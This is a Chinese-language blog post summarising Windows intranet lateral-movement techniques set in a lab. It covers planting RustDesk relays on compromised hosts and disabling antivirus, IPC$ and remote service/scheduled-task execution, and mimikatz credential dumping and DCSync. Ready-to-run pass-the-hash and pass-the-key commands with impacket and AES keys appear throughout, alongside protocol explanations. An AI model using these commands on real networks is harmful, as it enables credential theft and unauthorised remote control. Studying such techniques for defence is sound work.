文章封面:内网横向手法总结

内网横向手法总结

内网横向手法总结

参考:内网横向手法汇总

通过远程桌面

rdp

远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者(所在计算机称为用户端或’本地计算机’)连上提供微软终端机服务的计算机(称为服务端或’远程计算机’)。

利用条件:

  1. 开启了3389端口(如果对方机器没有开启 3389, 那么可以通过注册表给对方机器打开 3389)
  2. 防火墙等安全设备没有禁止
  3. 拥有账号和密码(或者Hash)(可以是本身的账号 & 也可以是自己添加的)

gotoHTTP

直接下载GotoHTTP - 在线远程控制平台

传到目标机器就能远控了

rustDesk

【内网渗透】Rustdesk内网深度渗透,不出网利用

RustDesk原理:

公网布置RustDesk服务端,

当a客户端连接到服务端,服务端就会记录其id和密码

当b客户端连接到服务端,服务端就会记录其id和密码

当a想要连接b,因为a和b都在内网中,所以a的所有操作都是传递给服务端,由于服务端和b已经建立连接,所以服务端就可以操作b

缺点:rustdesk官方服务端部署在公网上,如果目标内网主机不出网就无法利用,解决办法:在目标边界主机自建rustdesk服务端

服务端选择 1.1.12 版本,客户端选择 1.1.9

下面引用作者的例子:

内网环境:

靶机win2008:网卡:192.168.203.128(不出网,但内网203段网卡可以访问到)

跳板机win7:

网卡1:192.168.159.144

网卡2:192.168.203.129(这个203段就是不出网的)

攻击机win10:192.168.159.162(这个网卡ip可以访问到跳板机)

环境详细说明:

win10为我们的攻击机可以理解为他是我们的本机,目前我们已经拿下了跳板机win7和靶机win2008,但是win7可以出网(假设为文件上传可以执行命令),win2008却不可以出网(是完全不出网),这里我们已经通过文件上传成功把我们的RustDesk上传上win7(这里可能传上去会报毒,旧版火绒是不报毒的,360报毒,能做免杀还是做一下,我这里演示就不做了),并关闭其杀软,横向拿下了win2008但是不出网并且杀软开到了最强,我们也不知道其账密,此时我们的目的就是进到win2008关闭其杀软进一步横向。

详细搭建流程

准备rustdesk.exe,以及hbbr.exe和hbbs.exe(这俩是自建服务器需要的Releases · rustdesk/rustdesk-server)

目前我们已经在win7跳板机里面上传了RustDesk并远控win7

接下来运行hbbr和hbbs

1
2
hbbs.exe -r 0.0.0.0 -k _
hbbr.exe -k _

-k_其实就是生成秘钥,运行后在同目录下生成了俩个文件这里以.pub结尾的就是我们要的key,默认id服务器端口21116,中继服务器端口21117

拿到key值和端口号后我们就可以去配置我们的内网中继服务器了

第一步:在win7中打开rustdesk,点击ID/中继服务器

第二步:分别填入ID服务器,中继服务器,key注意这里的ip是203段网卡的ip也就是win7和win2008相通的网卡

到此我们中继服务器就配置完成了,他就成立我们的内网的rustdesk服务器

第三步:上传rustdesk到win2008

第四步:这里不要运行先,这里有个点是

rustdesk配置文件地址:C:\Users\用户名\AppData\Roaming\RustDesk\config

但是我们要是上传后直接命令运行生成的就是默认连接官方服务器,所以我们不要运行,我们要继续上传Roaming文件夹这里就按照这个路径配置即可,核心是config文件夹的三个文件,这三个文件就是我们在win7上面生成的配置文件,也就是RustDesk,RustDesk_local,RustDesk2,这仨都是toml配置文件

Rustdesk文件内容是id和密码,这是刚刚自动生成的,这里可以顺手把这个password改成自己的密码比如123456,id也可以修改

Rustdesk2的内容是中继服务器的地址端口,待会我们把这个文件丢在默认路径上,Rustdesk就会加载这个配置文件把win7作为中继服务器

第五步:打包配置文件进行上传win2008对应目录

C:\Users\用户名\AppData\Roaming\RustDesk\config

最后我们使用运行Rustdesk即可这样他就会去我们的默认路径下去找配置文件,成功连接上中继服务器

IPC$ 横向移动【Windows 默认开启】

IPC (Internet Process Connection) 共享,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。通过 ipc$ 可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。我们可以通过 net share 查看:

1
2
3
4
5
6
7
8
9
C:\Users\Administrator>C:\Windows\System32\net share
共享名       资源                            注解
-------------------------------------------------------------------------------
C$           C:\                             默认共享(C 盘默认开启共享)
D$           D:\                             默认共享(D 盘默认开启共享)
E$           E:\                             默认共享(E 盘默认开启共享)
IPC$                                         远程 IPC
ADMIN$       C:\Windows                      远程管理(C:\Windows 目录默认共享)
命令成功完成。

文件共享是指主动地在网络上共享自己的计算机文件。默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c、d、e、admin)可以实现对这些默认共享目录的访问(如果当前主机(A)用户的账号是administrator,目标机器(B)的账户administrator和A的administrator密码相同,不需要输入密码就可以访问,默认会用本地相同的账号密码进行认证)

举例说明:

左侧为主机 A, 右侧为主机 B, 我们访问共享很简单, 直接在目录中使用\\机器名\共享名即可:

如果当前主机(A)用户的账号是 administrator, 目标机器(B)的账户 administrator 和 A 的 administrator 密码相同, 不需要输入密码就可以访问,默认会用本地相同的账号密码进行认证。

注意: 必须使用 administrator(本地最高管理员)账号, 否则会提示“拒绝访问”. 对应参考: https://learn.microsoft.com/en-us/archive/blogs/vistacompatteam/uac-and-remote-logon

背后原理:SMB 认证时客户端把当前登录用户的 NTLM Hash 发过去,目标机器本地比对 SAM 库,Hash 一致就通过。

主动建立IPC$ 认证

一旦双方主机建立了 IPC$ 链接, 再去访问共享文件夹等操作则不再需要输入账户密码

1
2
3
4
5
6
7
========== IPC$ 连接命令 ==========
1. 工作组环境
   net use \\IP\ipc$ "password" /user:"username"
2. 域环境
   net use \\域名\ipc$ "域成员密码" /user:域名\域成员账号
3. 删除连接
   net use \\IP\ipc$ /del

IPC利用条件&前提

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
1. 目标开放 139、445 端口
   → 因为 IPC$ 底层走 SMB 协议,SMB over TCP 绑定 445 端口,老系统 SMB over NetBIOS 绑定 139 端口,端口不开协议不可达

2. 目标开启了默认共享
   包括 IPC$ 和所有逻辑盘(C$、D$、E$……ADMIN$)
   → 因为 net use \\IP\ipc$ 建立的是连接到 IPC$ 共享,共享不存在则连接失败;C$ 等管理共享用于传文件
   → 可用 net share 查看

3. 持有目标机器的有效凭据(用户名 + 密码,或 NTLM Hash)
   → 因为 IPC$ 连接首先触发 SMB 层的 NTLM Challenge/Response 认证,没有凭据无法通过
   → 空密码被 LimitBlankPasswordUse 策略拦截,默认禁止网络登录

4. 非 RID 500 的管理员用户远程登录会被 UAC 令牌过滤
   → LocalAccountTokenFilterPolicy 默认 = 0,网络登录时 Administrators 组 SID 被移除。(参考: https://learn.microsoft.com/en-us/archive/blogs/vistacompatteam/uac-and-remote-logon)
      拿到的是过滤后的低权限令牌,无法创建计划任务、写服务等操作
   → 要么用 RID 500 的 Administrator,要么改注册表或建域

在内网中,很多电脑的 administrator 的账号密码都是一样的,可以通过抓取本地的账号密码,然后和对方的电脑建立IP连接。

有一些电脑会关闭 IPC$, 关闭以及恢复等操作如:

1
2
3
4
5
6
net share                        # 查看本机所有共享(包括 IPC$、C$、ADMIN$)
net share c$ /del                # 删除 C 盘默认管理共享,关闭后可防止远程访问 C 盘
net share xxx=C:\              # 自定义共享,将 C 盘根目录共享出去,共享名 xxx
net share xxx /del             # 删除自定义共享 xxx
net share ipc$                   # 恢复 IPC$ 共享(被删后重建)
net share admin$                 # 恢复 ADMIN$ 共享(指向 Windows 目录)   

连上IPC$可以进行的操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
========== 文件操作 ==========

dir \\192.168.1.100\c$ # 列出目标 C 盘根目录
dir \\192.168.1.100\c$\Windows\Temp # 列出指定目录
type \\192.168.1.100\c$\Windows\Temp\1.txt # 直接读取目标上的文本文件
copy 本地文件 \\192.168.1.100\c$\Windows\Temp\ # 上传文件到目标
copy \\192.168.1.100\c$\文件 . # 从目标下载文件到本地

========== 进程与服务 ==========

tasklist /s 192.168.1.100 # 查看目标进程列表(需要管理员权限)
tasklist /s 192.168.1.100 /u Administrator # 指定用户查看
sc \\192.168.1.100 query # 查询目标所有服务
sc \\192.168.1.100 create 服务名 binPath= "路径" # 远程创建服务(横向的关键一步)
sc \\192.168.1.100 start 服务名 # 远程启动服务 → 执行 payload
sc \\192.168.174.30 create test binpath= "cmd.exe /c 执行的命令" # 能感受到 IPC$ 认证的案例
sc \\192.168.174.30 delete test # 删除创建的服务
sc \\192.168.174.30 start test # 启动创建的服务

========== 时间与计划任务 ==========

net time \\192.168.1.100 # 查看目标系统时间
at \\192.168.1.100 14:30 cmd /c "命令" # AT 计划任务(老系统)
schtasks /create /s 192.168.174.30 /tn 任务名 /tr "cmd /c whoami > C:\\Windows\\Temp\\whoami.txt" /sc once /sd 2026/06/14 /st 14:30 /ru SYSTEM /rp "" # schtasks 创建计划任务(通用)
schtasks /run /s 192.168.1.100 /tn 任务名 # 立即触发执行

========== 信息收集 ==========

net view \\192.168.1.100 # 查看目标共享资源
net view \\目标IP # 查看目标上的共享列表
nltest /dclist:域名 # 查看域控列表(域环境)
netstat -an | find "445" # 本机到目标的 445 连接状态

========== 连接管理 ==========

net use # 查看当前所有已建立的连接
net use \\192.168.1.100\ipc$ /del # 删除单条连接
net use * /del /y # 断开所有连接

========== 盘符映射 ==========

利用 net use 进行盘符映射:
net use k: \\192.168.41.140\c$   # 会在本地创建 k 盘, 操作本地电脑 k 盘等于操作远程电脑 c 盘
优点就是后续可以进行本地复制之类的操作

PTH传递攻击

攻击原理和利用条件

PTH(Pass The Hash),中文叫哈希传递攻击,在NTLM和Kerberos认证中,都需要用到用户的NTLM-Hash值进行加密认证,所以我们知道了对方用户的NTLN-Hash值之后就可以使用PTH进行认证。

在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码(例如 administrator 账号, 如果是明文的可以使用 IPC$ 进行攻击, 如果是 NTLM 密文则可以使用 PTH), 因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

NTLM HASH 远程登录的原理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
客户端                                服务器
    │                                       │
    │── ① NEGOTIATE ────────────────────>  │   "我想认证,这是我的能力"
    │                                       │
    │<──── ② CHALLENGE ─────────────────── │   "那你证明一下,用这个随机数"
    │    (8字节随机Challenge)                │
    │                                       │
    │    [本地计算]                          │
    │    Hash("P@ss1234")                   │
    │    加密(Challenge, Hash)               │
    │                                       │
    │── ③ AUTHENTICATE ──────────────────> │   "这是我算出来的结果"
    │    (用户名 + Response)                 │
    │                                       │
    │                              [本地验证]│
    │                              同样方式  │
    │                              再算一遍  │
    │                                       │
    │<─────── ④ 结果 ────────────────────── │   通过 或 拒绝

由于 Challenge 值是服务器返回给我们客户端的, 因此这部分并不是我们要考虑的地方, 我们只需要考虑 NTLM Hash 值的部分即可. 只要我们知道对方电脑上一台用户对应密码的 Hash 值, 我们即可进行通过本地够构造流量进行认证.

而在 Kerberos 协议(域环境)中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
AS-REQ 阶段:

你现在的电脑                                    域控 KDC
登录账号: xxx
    │
    │   你输入密码 "P@ss1234"
    │   本地算出 MD4("P@ss1234") = 31d6cfe0...
    │   这就是 xxx 这个"域账号"的 Hash
    │
    ├──→ AS-REQ 发过去:
    │    用户名: xxx
    │    预认证: E{Hash_xxx}(Timestamp) ← 用你自己的 Hash 加密
    │
    │                               AS 从 AD 数据库查出 xxx 的 Hash
    │                               解密 → 验证时间戳 → 确认你就是 xxx
    │
    │   ←── AS-REP 返回 TGT

我们同样只需要 HASH 值, 即可参与协议运算, 因此 PTH 在工作组环境和域环境中同样适用.

下面举例演示一下:

先创建用户和用户组

1
2
3
4
5
net user administrator /active:yes
net user administrator Qazwsxedc123!
net user oneuser Ewqdsacxz123! /add
net localgroup administrators oneuser /add
net user test 1qaz@WSX3edc /add

这样我们就有了本地超级管理员, 本地普通管理员, 本地普通用户

使用 mimikatz 进行抓取 SAM 文件中的密码信息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: d442a45ad0f94d5ab5101de9a010538b

RID  : 000001f5 (501)
User : Guest

RID  : 000003e8 (1000)
User : xxx
  Hash NTLM: d442a45ad0f94d5ab5101de9a010538b

RID  : 000003e9 (1001)
User : oneuser
  Hash NTLM: 89918a25916d0e9acde6a6642df47e2c

RID  : 000003ea (1002)
User : test
  Hash NTLM: 7ecffff0c3548187607a14bad0f88bb1

随后我们可以在攻击机(与受害机处于同一局域网)中使用 mimikatz 进行 HASH 传递攻击:

1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:域名或者IP /ntlm:ntlm-hash

普通用户无法用pth攻击

然后域内攻击:

使用 mimikatz 读取 ntds.dit 中的 hash, 随后进行传递实验:

1
2
3
4
mimikatz # lsadump::dcsync /domain:heihu577.com /all /csv
500     Administrator   d442a45ad0f94d5ab5101de9a010538b        512
1113    heihu577_test   83a3b1af4f0c1ee9a2df504eac08aec3        512
1105    zs      cd8395f40ea0573474653cc96b40195f        66048

这里使用 psexec 做演示, psexec 在 impacket 包中有提供. psexec 进行横向格式:

1
psexec.exe 域名/用户名@需要横向的主机IP或全体域名 -hashes LMHASH(可留空):NTLMHASH

impacket系列工具也是可以让我们实现PTH | 明文密码 | PTK 攻击

1
2
3
4
5
6
7
8
# 成功执行 - 获得半交互式shell
python wmiexec.py administrator@192.168.174.30 -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 单条命令
python wmiexec.py administrator@192.168.174.30 "whoami" -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 获得system权限shell
python psexec.py administrator@192.168.174.30 "whoami" -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 获得半交互式shell (system权限)
python smbexec.py administrator@192.168.174.30 -hashes :d442a45ad0f94d5ab5101de9a010538b

PTK 密钥传递攻击

PTK(Pass The key),中文叫秘钥传递攻击,PTH传递中,使用的是NTLM-HASH值,PTK使用AES256或者AES128的方式进行传递,PTK攻击只能用于kerberos认证中,NTLM认证中没有。

在 Kerberos 认证中, 针对于 AS-REQ 实际上是 HASH 或者 AES KEY. 因此在 kerberos 认证中我们可以使用 PTK 进行攻击.

AES KEY 是 kerberos 协议中使用的,所以一般域用户才有 AES KEY,AES 分为两种 aes256 和 aes128,本地用户没有 aes key。

为什么要用PTK

  • ntlm 被禁用

很多安全加固过的环境里,域控策略把 NTLM 认证彻底关了(“Network security: Restrict NTLM”),或者只允许 Kerberos。这时候你拿着 hash 也没用,PTH 直接报 STATUS_NTLM_BLOCKED,只能用 PTK 走 Kerberos。

  • RC4 被禁掉了

AES 是 Kerberos 的推荐加密类型,很多环境禁了 RC4-HMAC。PTH 底层用的就是 RC4,RC4 一关 PTH 废了,必须用 AES key 做 PTK 去申请 TGT。

  • 只有AESkey没有NTLMhash

看数据时发现只拿到 AES256 key(比如 DCSync 或者某些票据里),没有 NTLM hash 或者 hash 对不上,PTK 是你唯一的路。

测试命令:

1
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::ekeys"

利用条件

1、必须是域环境,使用域账号才可以进行PTK

2、支持aes进行认证(域控必须支持)

wmiexec PTK 攻击

1
python wmiexec.py 域名/administrator@要连接的目标主机 -aesKey 76dc43ab438a6ff369734985b7cd594b43fb6bd534fd9a1461ae247b7b602e66 -dc-ip 192.168.174.10

但在执行之前需要在攻击机中配置 /etc/hosts,而且需要注意的是, PTK 攻击实际上是 kerberos 认证, 对于 kerberos 认证必须使用域名的形式进行认证,所以目标主机也得填域名

利用PTK进行上线

PTK本质上也是一种认证,本身不具有攻击性,如果是一些特殊账号的KEY被我们知道利用PTK传递攻击,我们可以生成对应账号的TGT票据,原因是 AS-REP 的过程如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
AS-RESP:

你 (test)                          域控 KDC (AS)
      │                                      │
      │   ←──────── KRB_AS_REP ─────────    │
      │                                      │
      │    块① TGT = E{Hash_krbtgt}(         │ ← 用 krbtgt Hash 加密
      │              test +                │
      │              Session_Key_TGT +       │
      │              PAC +                   │
      │              有效期)                  │
      │                                      │
      │    块② CT_SK = E{Hash_test}(        │ ← 用你自己的 Hash 加密
      │                 Session_Key_TGT)      │ ✅ 你能解开
      │                                      │
      │                                      │
      │  [你本地]                             │
      │  用自己的 Hash 解密第②块               │
      │  → 拿到 Session_Key_TGT 明文          │
      │  → 第①块 TGT 不解,直接存着            │
PAC = Privilege Attribute Certificate(特权属性证书),装的是:
 - SID → S-1-5-21-xxx-xxx-xxx-1104   (就是 test)
 - 所在的组的 SID   → Domain Users (S-1-5-21-xxx-513) 以及 Domain Admins (S-1-5-21-xxx-512) 
 - 签名 → 用 krbtgt Hash 签的,防你篡改
未来拿着票据去访问`目标服务器`时, 目标服务器读取 PAC,确定来访用户的身份和权限。

由于 AS-REP 返回的是 TGT, 我们可以将 TGT 导入到内存中,就可以访问对方的电脑。

这里可以使用 getTGT 工具申请 TGT,然后将 TGT 导入内存中,实现对目标机器的访问,后续可以配合计划任务,或者其他的工具进行上线。

1
python getTGT.py heihu577.com/administrator@dc.heihu577.com -aesKey 76dc43ab438a6ff369734985b7cd594b43fb6bd534fd9a1461ae247b7b602e66 -dc-ip 192.168.174.10

PTT票据传递攻击

介绍 & 利用条件

PTT(Pass The Ticket),中文叫票据传递攻击,PTT攻击只能用于kerberos认证中,NTLM认证中没有,PTT是通过票据进行认证的,我们回顾一下 KERBEROS 认证的流程。

在 kerberos 认证流程中, AS-REQ 会向 AS 认证服务器请求来证明自己的身份信息, 请求成功后会获得 AS-REP 所返回的 TGT 票据, 而这个 TGT 票据会向 TGS 进行发送, TGS 收到 TGT 后,会验证 TGT 的签名和有效期,确认无误后返回 ST 票据.

所以这里实际上存在两种票据, 分别为: TGT 票据 & ST 票据. 它们的作用分别如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
TGT(票据授予票据):证明你是谁
  - 用来向 TGS 换 ST 的"身份证"
  - 有了 TGT 不需要反复输密码,10 小时内有效
  - 加密密钥是 KRBTGT Hash(只有 DC 知道)
  - 拿到 TGT ≠ 访问任何服务,只是拿到了"买票资格"

ST(服务票据):证明你有权访问某个服务
	- 用来向目标服务发起 AP-REQ 的"门票"
  - 每访问一个服务就要申请一张,贴在请求里
  - 加密密钥是目标服务账户的 Hash(只有 DC 和该服务自己知道)
  - 拿到 ST = 真的能进那个服务

那么这几种攻击手法如下:

  • PTH: 用NTLM-HASH值进行认证-支持kerberos和NTLM认证
  • PTK: 用AES值进行认证-只能用于kerberos认证
  • PTT: 用票据进行认证-只能用于kerberos认证

而对于 PTT 来说, 如果要进行利用, 那么需要如下条件:

  • 必须是域环境, 域内才可以进行 PTT
  • 必须拥有相应的票据(主要是域管的票据)

横向移动工具

1
2
3
4
5
1. psexec工具
2. smbexec工具
3. WMI命令
4. DCOM接口
5. WinRM服务

工具用法不多说了

使用 Hugo 构建
主题 StackJimmy 设计